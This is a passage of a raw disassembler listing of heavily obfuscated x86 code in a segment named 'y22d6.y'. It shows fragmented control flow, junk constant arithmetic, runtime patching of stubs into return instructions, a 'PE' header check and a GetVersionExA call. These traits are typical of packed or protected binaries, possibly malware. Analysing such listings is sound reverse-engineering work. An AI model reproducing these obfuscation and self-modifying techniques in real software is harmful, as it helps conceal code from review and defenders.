CHUNK AT 0044D6F5 SIZE 00000020 BYTES xchg edi, [esp+0] pop edi mov [ebp-8], edx mov [ebp-4], eax xor eax, eax jmp loc_44D6F5 sub_43CEE2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444D95 loc_43CEF3: ; CODE XREF: sub_444D95:loc_43A109j jz loc_43A39A mov eax, [ebp-4] cmp byte ptr [eax], 0EBh jz loc_43A39A jmp loc_43F943 ; END OF FUNCTION CHUNK FOR sub_444D95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44511C loc_43CF0A: ; CODE XREF: sub_44511C+Fj pop ebp add esi, 33A5C582h or esi, 5281C8A0h add esi, 0A09BF35Fh mov [esi], eax jmp loc_449632 ; END OF FUNCTION CHUNK FOR sub_44511C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7D4 loc_43CF24: ; CODE XREF: sub_43B7D4+6776j not edi mov ecx, [eax] jmp loc_441BB6 ; END OF FUNCTION CHUNK FOR sub_43B7D4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_225. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B81B loc_43CF2E: ; CODE XREF: sub_44B81B-145D3j jmp loc_4441B8 ; END OF FUNCTION CHUNK FOR sub_44B81B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444427 loc_43CF33: ; CODE XREF: sub_444427:loc_441962j jge loc_43F0C4 loc_43CF39: ; CODE XREF: sub_4432B8-8089j jmp loc_442AF3 ; END OF FUNCTION CHUNK FOR sub_444427 ; --------------------------------------------------------------------------- push eax popf shr ecx, 5 rol ecx, 15h jmp loc_43F0BF ; --------------------------------------------------------------------------- loc_43CF4B: ; DATA XREF: sub_44B17B:loc_43D5C5o ror eax, 11h push edi push 5209A741h pop edi and edi, 423D59ECh jmp loc_43B4ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4400D5 loc_43CF60: ; CODE XREF: sub_4400D5:loc_449EDDj jl loc_44E55F rol eax, 1Fh sbb ebp, edx pop ebp jmp loc_44E55D ; END OF FUNCTION CHUNK FOR sub_4400D5 ; --------------------------------------------------------------------------- loc_43CF71: ; CODE XREF: y22d6.y.:0044B4B1j sub edx, 0E025C5A3h add edx, 0BF86B0EAh mov [edx], eax pop edx lea eax, nullsub_198 jmp loc_43DB0B ; --------------------------------------------------------------------------- loc_43CF8B: ; DATA XREF: sub_438B66+11C93o push 348790D3h pop esi rol esi, 1 cmp esi, 5425725h jmp loc_44A10F ; =============== S U B R O U T I N E ======================================= sub_43CF9E proc near ; CODE XREF: sub_4421D3+C95p ; y22d6.y.:00449DF2j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043906A SIZE 00000005 BYTES xchg edi, [esp+0] pop edi xchg ecx, [esp+0] mov eax, [ebp-14h] push ebp mov ebp, eax xchg ebp, [esp+0] jmp loc_43906A sub_43CF9E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439FCB loc_43CFB3: ; CODE XREF: sub_439FCB:loc_43ADABj push offset sub_442245 jmp loc_443FB6 ; END OF FUNCTION CHUNK FOR sub_439FCB ; --------------------------------------------------------------------------- ror ecx, 1Bh jmp sub_43BC90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4491D8 loc_43CFC5: ; CODE XREF: sub_4491D8:loc_44DEA3j ; sub_4491D8+4CDBj or edi, 893C7EFBh rol edi, 0Ch add edi, 5221B1h mov [edi], eax call sub_44D2DA ; END OF FUNCTION CHUNK FOR sub_4491D8 ; START OF FUNCTION CHUNK FOR sub_443EA2 loc_43CFDB: ; CODE XREF: sub_443EA2-C515j jmp loc_43781E ; END OF FUNCTION CHUNK FOR sub_443EA2 ; --------------------------------------------------------------------------- locret_43CFE0: ; CODE XREF: y22d6.y.:loc_444255j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4385ED loc_43CFE1: ; CODE XREF: sub_4385ED+D08Fj add esp, 8 movzx eax, word ptr [eax] shl eax, 2 mov edx, [ebp-14h] jmp loc_44C149 ; END OF FUNCTION CHUNK FOR sub_4385ED ; =============== S U B R O U T I N E ======================================= sub_43CFF2 proc near ; CODE XREF: y22d6.y.:00439815j ; sub_448EB6-9FE0p arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00439AAB SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0043C0AC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043CA15 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443C21 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044465E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00445067 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445CA0 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00445CCC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044E1E7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044E44C SIZE 0000001E BYTES xchg eax, [esp+0] pop eax add eax, edx pop edx add eax, 18h call sub_440C4E loc_43D001: ; CODE XREF: sub_44D088+17j jmp loc_443C21 sub_43CFF2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43D006: ; CODE XREF: sub_448EB6:loc_44A265j jnz loc_441AB4 jmp loc_445C6E ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43837F loc_43D011: ; CODE XREF: sub_43837F+2F87j ; sub_43837F+516Fj ... jz loc_43AB45 cmp dword ptr [ebp-1Ch], 66h call sub_43837F ; END OF FUNCTION CHUNK FOR sub_43837F ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43D020: ; CODE XREF: sub_4432B8+30Ej jmp loc_44447D ; END OF FUNCTION CHUNK FOR sub_4432B8 ; =============== S U B R O U T I N E ======================================= sub_43D025 proc near ; DATA XREF: sub_447AE3+10o ; FUNCTION CHUNK AT 00438201 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0043A09B SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0043A87C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043C15A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004464A8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004482BD SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00449F01 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0044E3DD SIZE 0000000A BYTES cmp dword ptr [eax-4], 4 jnz loc_44E3DD cmp dword ptr [ebp-10h], 0 jnz loc_4482BD jmp loc_4464A8 sub_43D025 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_43D03E: ; CODE XREF: y22d6.y.:00444FD4j jns loc_43BFD0 xor edx, 0C5819C2h jmp loc_440677 ; --------------------------------------------------------------------------- loc_43D04F: ; CODE XREF: y22d6.y.:00445C18j jz loc_43976D loc_43D055: ; CODE XREF: y22d6.y.:loc_445BFAj rol ebx, 0Bh cmp ebx, 5F98D307h jmp loc_449FEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D9C7 loc_43D063: ; CODE XREF: sub_43D9C7+6j pop ecx lea eax, nullsub_15 mov byte ptr [eax], 0C3h jmp loc_439E79 ; END OF FUNCTION CHUNK FOR sub_43D9C7 ; --------------------------------------------------------------------------- call nullsub_360 jmp ds:dword_41E178 ; --------------------------------------------------------------------------- loc_43D07D: ; CODE XREF: y22d6.y.:00442B8Fj jmp loc_449E75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B06F loc_43D082: ; CODE XREF: sub_44B06F-B835j jmp loc_44DFF3 ; END OF FUNCTION CHUNK FOR sub_44B06F ; --------------------------------------------------------------------------- loc_43D087: ; CODE XREF: y22d6.y.:0043AAFEj jmp loc_44B314 ; --------------------------------------------------------------------------- loc_43D08C: ; CODE XREF: y22d6.y.:00438D0Bj jmp loc_44C751 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_360. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- sub al, 24h mov edx, ebp jmp loc_43DF86 ; --------------------------------------------------------------------------- loc_43D09B: ; DATA XREF: sub_448E18-F42Eo push eax push 0D350AA03h pop eax add eax, 196A4447h rol eax, 10h push offset sub_444A4D jmp loc_43A85E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BA21 loc_43D0B5: ; CODE XREF: sub_44BA21:loc_449734j add ecx, 277ADBD1h ; END OF FUNCTION CHUNK FOR sub_44BA21 ; START OF FUNCTION CHUNK FOR sub_44D6D0 loc_43D0BB: ; CODE XREF: sub_44D6D0:loc_4414F7j and ecx, 7A5113E4h call sub_439B1A loc_43D0C6: ; CODE XREF: y22d6.y.:00447028j jmp loc_441DBC ; END OF FUNCTION CHUNK FOR sub_44D6D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4425E0 loc_43D0CB: ; CODE XREF: sub_4425E0-A9Ej jmp sub_43F7FF ; END OF FUNCTION CHUNK FOR sub_4425E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439B2C loc_43D0D0: ; CODE XREF: sub_439B2C+2213j lea eax, nullsub_324 mov byte ptr [eax], 0C3h jmp nullsub_324 ; END OF FUNCTION CHUNK FOR sub_439B2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43D0DE: ; CODE XREF: sub_4432B8:loc_4433E9j call nullsub_333 jmp ds:dword_41E120 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_43D0E9: ; CODE XREF: y22d6.y.:loc_442BCDj jmp loc_44C8D2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_333. PRESS KEYPAD "+" TO EXPAND] db 80h dd 0B180h, 6A7FE9h, 6C8D0F00h, 870000E4h ; --------------------------------------------------------------------------- sti loc_43D101: ; CODE XREF: y22d6.y.:00441F5Ej rol ebx, 1Ch ; START OF FUNCTION CHUNK FOR sub_44271A loc_43D104: ; CODE XREF: sub_44271A:loc_445A5Aj add ebx, 39F0146Eh mov [ebx], eax jmp loc_4383D0 ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- sbb edx, 609A9E43h jmp loc_43F3A7 ; =============== S U B R O U T I N E ======================================= sub_43D11C proc near ; CODE XREF: sub_44585C-5DF0p ; y22d6.y.:00444E45j xchg ebx, [esp+0] sub_43D11C endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43D11F: ; CODE XREF: sub_448EB6+261j pop ebx push edi mov edi, edx push offset loc_4385DE jmp loc_43AE69 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_43D12D: ; CODE XREF: y22d6.y.:loc_43EC7Cj jz loc_43C144 jmp loc_43BE71 ; --------------------------------------------------------------------------- loc_43D138: ; DATA XREF: sub_447C9E-5D64o push 2206751Ah pop eax rol eax, 1Ah add eax, 97BC033Dh xchg eax, [esp] jmp sub_43CA1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_43D14F: ; CODE XREF: sub_44B489:loc_44CA2Ej jnz loc_4420CA jmp loc_44034F ; END OF FUNCTION CHUNK FOR sub_44B489 ; --------------------------------------------------------------------------- loc_43D15A: ; CODE XREF: y22d6.y.:0044C655j jg locret_43A6D6 add ebp, eax jmp loc_44083E ; --------------------------------------------------------------------------- loc_43D167: ; CODE XREF: y22d6.y.:0044A340j js loc_44DC4A ; =============== S U B R O U T I N E ======================================= sub_43D16D proc near ; CODE XREF: sub_437B43+164DDp ; FUNCTION CHUNK AT 004438E7 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi pop ebx lea eax, sub_441651 mov byte ptr [eax], 0C3h jmp loc_4438E7 sub_43D16D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B43 loc_43D180: ; CODE XREF: sub_437B43+Aj mov eax, [esp-8+arg_4] push esi jmp loc_44AC43 ; END OF FUNCTION CHUNK FOR sub_437B43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4383E0 loc_43D189: ; CODE XREF: sub_4383E0+13596j add eax, 910423C2h adc edx, 3B45C450h jmp loc_447739 ; END OF FUNCTION CHUNK FOR sub_4383E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437901 loc_43D19A: ; CODE XREF: sub_437901:loc_437951j ; sub_437901+53B0j push edx push 0B5FB0537h pop edx and edx, 1E419AD2h jmp loc_43BDE7 ; END OF FUNCTION CHUNK FOR sub_437901 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441F08 loc_43D1AC: ; CODE XREF: sub_441F08:loc_4463BDj test edi, 1598C0FCh jmp loc_44C406 ; END OF FUNCTION CHUNK FOR sub_441F08 ; --------------------------------------------------------------------------- loc_43D1B7: ; DATA XREF: sub_445B95+4o adc edx, [esp+4] add esp, 8 mov [ebp-4], eax mov eax, [ebp-4] cmp dword ptr [eax], 4550h jmp loc_437D31 ; --------------------------------------------------------------------------- loc_43D1CF: ; CODE XREF: y22d6.y.:0044D8DCj shl eax, 3 push ecx push 0C3B2FA30h xchg eax, [esp] mov ecx, eax pop eax jmp loc_443792 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C6D7 loc_43D1E3: ; CODE XREF: sub_43C6D7:loc_439489j ; sub_43C6D7+3C2Cj ... mov eax, [ebp-4] call sub_44A095 loc_43D1EB: ; CODE XREF: y22d6.y.:0043E4BAj jmp loc_437766 ; END OF FUNCTION CHUNK FOR sub_43C6D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43D1F0: ; CODE XREF: sub_4432B8+299j jnz loc_43EC62 jnp loc_43D319 adc ebp, 0E422A183h loc_43D202: ; CODE XREF: y22d6.y.:loc_443FE5j jmp loc_44747B ; --------------------------------------------------------------------------- loc_43D207: ; CODE XREF: sub_4432B8:loc_4433CAj cmp eax, edi jmp loc_437F19 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; =============== S U B R O U T I N E ======================================= sub_43D20E proc near ; CODE XREF: y22d6.y.:0043B695j ; sub_4385ED:loc_44C149p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00437BDF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00438284 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00439806 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439B10 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439C1A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00439D4F SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043AB7C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043B503 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043B66E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BA3F SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0043EB0F SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0043F29E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F80A SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00440FD6 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00441958 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044228C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443009 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444933 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444DE2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445DAC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00447165 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00448B23 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00449972 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044C161 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0044C416 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044CBB1 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044DC15 SIZE 0000001E BYTES xchg ebx, [esp+0] pop ebx mov edx, [edx+1Ch] add edx, [ebp-4] jmp loc_444933 sub_43D20E endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_43D21D: ; CODE XREF: y22d6.y.:loc_448CE7j ja loc_44DE7F jmp loc_4485C7 ; --------------------------------------------------------------------------- loc_43D228: ; DATA XREF: sub_4438A8+16o add eax, 0B71E98F1h add eax, ebp add eax, 8C7ACB5Ah mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_43BF2C jmp loc_4402E0 ; =============== S U B R O U T I N E ======================================= sub_43D246 proc near ; CODE XREF: y22d6.y.:00438943j ; y22d6.y.:00440E70p ; FUNCTION CHUNK AT 0044D6E1 SIZE 00000014 BYTES xchg esi, [esp+0] pop esi push 0A00BEAE0h pop edx and edx, 7CC825B3h xor edx, 63DD6A1Bh add edx, 2FB1C8A4h jmp loc_44D6E1 sub_43D246 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_307. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43704E loc_43D268: ; CODE XREF: sub_43704E+147E8j jmp loc_444D22 ; END OF FUNCTION CHUNK FOR sub_43704E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_84. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_43D26E: ; CODE XREF: sub_44B1D2-B03j jmp loc_447FF0 ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B39 loc_43D273: ; CODE XREF: sub_438B39+ABCj adc esi, 0C093A736h jmp loc_439AEE ; END OF FUNCTION CHUNK FOR sub_438B39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441E5C loc_43D27E: ; CODE XREF: sub_441E5C:loc_43EB58j mov ebx, ecx pop ecx and ebx, 0BA92E770h add ebx, 0AC10BC81h and ebx, 0C5F3AC3Fh jmp loc_4453D1 ; END OF FUNCTION CHUNK FOR sub_441E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43D298: ; CODE XREF: sub_4432B8+4725j mov esi, [ebx] sub edi, 723D0A86h jmp loc_43F2A3 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A735 loc_43D2A5: ; CODE XREF: sub_43A735+10604j jl loc_448FB9 loc_43D2AB: ; CODE XREF: sub_43E953+3978j jmp nullsub_161 ; END OF FUNCTION CHUNK FOR sub_43A735 ; --------------------------------------------------------------------------- sub ebx, 0AA7DBC1Fh test edx, ebp loc_43D2B8: ; CODE XREF: y22d6.y.:loc_4495A7j jmp loc_448FB1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_145. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43D2BE: ; CODE XREF: y22d6.y.:0043A8EAj pop eax add eax, 5E1F7BBFh sub eax, 0C6B79A7Ah rol eax, 19h cmp eax, 4BA6B336h jmp loc_44A196 ; --------------------------------------------------------------------------- db 0Fh, 86h, 51h dd 8700005Fh, 52582404h, 445AC768h, 0B640E900h ; CODE XREF: y22d6.y.:loc_4498FFp db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B98D loc_43D2EE: ; CODE XREF: sub_43B98D:loc_443F98j jz loc_449515 jmp loc_43A9D2 ; END OF FUNCTION CHUNK FOR sub_43B98D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43D2F9: ; CODE XREF: sub_448EB6:loc_4428A5j push offset sub_44BF91 jmp nullsub_296 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A46F loc_43D303: ; CODE XREF: sub_44A46F:loc_44C7CFj mov ebp, esp push ebx mov ebx, ecx push offset sub_437FD8 jmp loc_43958B ; END OF FUNCTION CHUNK FOR sub_44A46F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AA69 loc_43D312: ; CODE XREF: sub_44AA69-4B0Fj mov eax, esp call sub_448AF8 loc_43D319: ; CODE XREF: sub_4432B8-60C2j xor ebp, 6D9CFACFh jmp loc_443134 ; END OF FUNCTION CHUNK FOR sub_44AA69 ; --------------------------------------------------------------------------- loc_43D324: ; CODE XREF: y22d6.y.:0043C0D9j pop edx xor edx, 0F7BA6B4Eh sub edx, 942E3A98h rol edx, 10h test edx, 800000h jmp loc_43C7DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444E14 loc_43D33F: ; CODE XREF: sub_444E14:loc_440071j call sub_447BB2 ; END OF FUNCTION CHUNK FOR sub_444E14 ; START OF FUNCTION CHUNK FOR sub_448006 loc_43D344: ; CODE XREF: sub_448006+7j jmp loc_43ADCD ; END OF FUNCTION CHUNK FOR sub_448006 ; --------------------------------------------------------------------------- jnp loc_43B570 jmp sub_4444B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E63C loc_43D354: ; CODE XREF: sub_44E63C+20j mov [esi], eax pop esi push 400h mov eax, [ebp-8] push eax push 6950E4Fh pop eax rol eax, 0Dh jmp loc_43FEA2 ; END OF FUNCTION CHUNK FOR sub_44E63C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_43D36E: ; CODE XREF: sub_44271A:loc_44451Cj jge loc_449A76 ; END OF FUNCTION CHUNK FOR sub_44271A ; START OF FUNCTION CHUNK FOR sub_43FBC3 loc_43D374: ; CODE XREF: sub_43FBC3:loc_441743j jmp loc_439F8E ; END OF FUNCTION CHUNK FOR sub_43FBC3 ; --------------------------------------------------------------------------- jle loc_43B906 sbb edx, 7DC5649Bh cmp eax, 6E9FF623h jmp loc_437E84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43D390: ; CODE XREF: sub_4432B8:loc_4474AEj push 86E0BECh pop edi or edi, 8922F55Ch sub edi, 0B3C991B5h xor edi, 0D5A56E47h xchg edi, [esp+0Ch+var_C] push offset sub_438DAA jmp loc_438F74 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_43D3B5: ; CODE XREF: sub_44BCC2:loc_447A53j sub esi, 9DA765BEh add esi, 9DEF5402h xchg esi, [esp+8+var_8] jmp loc_44C3E6 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- call sub_447CBE mov dword ptr [ebp-4], 1 jmp loc_440B41 ; --------------------------------------------------------------------------- loc_43D3DA: ; DATA XREF: sub_441DC7-634Eo jz loc_43DECE cmp eax, 0FFFFFFFFh jz loc_43DECE mov eax, [eax] jmp loc_43AD5A ; --------------------------------------------------------------------------- adc edx, ebp jmp sub_43D65C ; --------------------------------------------------------------------------- push edi push 0BAB10096h pop edi sub edi, ds:4000E3h or edi, 0A6BA8062h ; START OF FUNCTION CHUNK FOR sub_449641 loc_43D40A: ; CODE XREF: sub_449641-BF39j jmp loc_43A0BF ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- test edi, ebp jmp loc_4424A6 ; --------------------------------------------------------------------------- loc_43D416: ; CODE XREF: y22d6.y.:00449B6Ej jz loc_443EC4 jmp loc_441BAA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44825F loc_43D421: ; CODE XREF: sub_44825F+8j call sub_44C758 mov eax, 1C5E06BAh call sub_43CA1A push edx push 67139285h pop edx or edx, 9AA7A9ACh xor edx, ds:4000E1h jmp loc_43FB22 ; END OF FUNCTION CHUNK FOR sub_44825F ; =============== S U B R O U T I N E ======================================= sub_43D448 proc near ; CODE XREF: sub_44D19A+9j var_4 = dword ptr -4 push ebx push 4004F685h pop ebx or ebx, 0A13F2D9Ah add ebx, 1F041462h xchg ebx, [esp+4+var_4] jmp sub_44D088 sub_43D448 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43734D loc_43D463: ; CODE XREF: sub_43734D:loc_441310j push 7C8B316Fh push offset loc_448FC9 jmp loc_438036 ; END OF FUNCTION CHUNK FOR sub_43734D ; --------------------------------------------------------------------------- mov eax, 11C9A2C5h call sub_43CA1A mov ds:off_41E140, eax lea eax, sub_44C980 mov byte ptr [eax], 0C3h ; START OF FUNCTION CHUNK FOR sub_44E38B loc_43D48B: ; CODE XREF: sub_44E38B:loc_444C7Cj jmp sub_44C980 ; END OF FUNCTION CHUNK FOR sub_44E38B ; --------------------------------------------------------------------------- push offset sub_4448C7 jmp locret_43BDCA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A3E9 loc_43D49A: ; CODE XREF: sub_44A3E9:loc_449A33j lea eax, sub_441A2B mov byte ptr [eax], 0C3h jmp sub_441A2B ; END OF FUNCTION CHUNK FOR sub_44A3E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441A2B loc_43D4A8: ; CODE XREF: sub_441A2Bj xchg ebx, [esp+0] mov edx, ebx pop ebx mov eax, [esp-4+arg_0] push edi jmp loc_44B57F ; END OF FUNCTION CHUNK FOR sub_441A2B ; --------------------------------------------------------------------------- loc_43D4B7: ; DATA XREF: sub_4396B2+1o mov ebp, esp add esp, 0FFFFFEF8h push ebx push 722622E3h pop ebx rol ebx, 12h test ebx, 100000h jmp loc_4446D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4394F3 loc_43D4D4: ; CODE XREF: y22d6.y.:loc_440AB6j ; sub_4394F3:loc_443804j pop ebx push ebx push 0A7BAD00Bh pop ebx and ebx, 0E3507E4Dh jmp loc_440F65 ; END OF FUNCTION CHUNK FOR sub_4394F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43837F loc_43D4E7: ; CODE XREF: sub_43837F:loc_43A441j mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz loc_43D011 loc_43D4F4: ; CODE XREF: sub_43837F:loc_443C6Bj ; y22d6.y.:00447A2Aj jb loc_447302 loc_43D4FA: ; CODE XREF: y22d6.y.:00445F12j jmp loc_43AC7E ; END OF FUNCTION CHUNK FOR sub_43837F ; --------------------------------------------------------------------------- popf jmp sub_43BC51 ; --------------------------------------------------------------------------- loc_43D505: ; CODE XREF: y22d6.y.:0043D96Ej pop ecx rol ecx, 0Ch add ecx, 2409AF5Ch push offset sub_444F74 jmp locret_44A682 ; --------------------------------------------------------------------------- loc_43D519: ; CODE XREF: y22d6.y.:loc_43B0BBj jz loc_438C96 jmp loc_448D65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_43D524: ; CODE XREF: sub_44B1D2:loc_437A67j xchg ebx, [esp+4+var_4] jmp sub_43AC88 ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- loc_43D52C: ; CODE XREF: y22d6.y.:loc_43BC42j sub ecx, 0F6619EF6h and ecx, 0A636E0ACh jmp loc_448866 ; --------------------------------------------------------------------------- loc_43D53D: ; CODE XREF: y22d6.y.:0043A824j jbe loc_442A7C ; =============== S U B R O U T I N E ======================================= sub_43D543 proc near ; CODE XREF: sub_43C7C1:loc_44D1B3p xchg ebx, [esp+0] pop ebx mov byte ptr [eax], 0C3h jmp sub_43BCA9 sub_43D543 endp ; sp-analysis failed ; --------------------------------------------------------------------------- call sub_44CD98 ; GetVersionExA loc_43D554: ; CODE XREF: y22d6.y.:00444114j xor eax, 0F025FA9Bh call sub_439096 ; START OF FUNCTION CHUNK FOR sub_448AF8 loc_43D55F: ; CODE XREF: sub_448AF8+541Aj jmp loc_4459F4 ; END OF FUNCTION CHUNK FOR sub_448AF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4491D8 loc_43D564: ; CODE XREF: sub_4491D8-32E5j jmp loc_44DEA3 ; END OF FUNCTION CHUNK FOR sub_4491D8 ; --------------------------------------------------------------------------- not esi jmp loc_449CFB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_43D570: ; CODE XREF: sub_44271A:loc_444AF9j cmp eax, 0D5234EABh jmp loc_44451C ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- locret_43D57B: ; CODE XREF: y22d6.y.:loc_43CAB4j retn ; --------------------------------------------------------------------------- loc_43D57C: ; CODE XREF: y22d6.y.:00442C01j jmp loc_4432FB ; --------------------------------------------------------------------------- loc_43D581: ; CODE XREF: y22d6.y.:00443A4Cj jns loc_44DB42 ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43D587: ; CODE XREF: sub_448EB6:loc_4451BCj sub ebx, 172DAE39h xor ebx, 5FC1C70Eh sub eax, ebx jmp loc_4428A5 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; =============== S U B R O U T I N E ======================================= sub_43D59A proc near ; DATA XREF: sub_448EB6-1804o ; FUNCTION CHUNK AT 00439CA7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043FD27 SIZE 00000005 BYTES 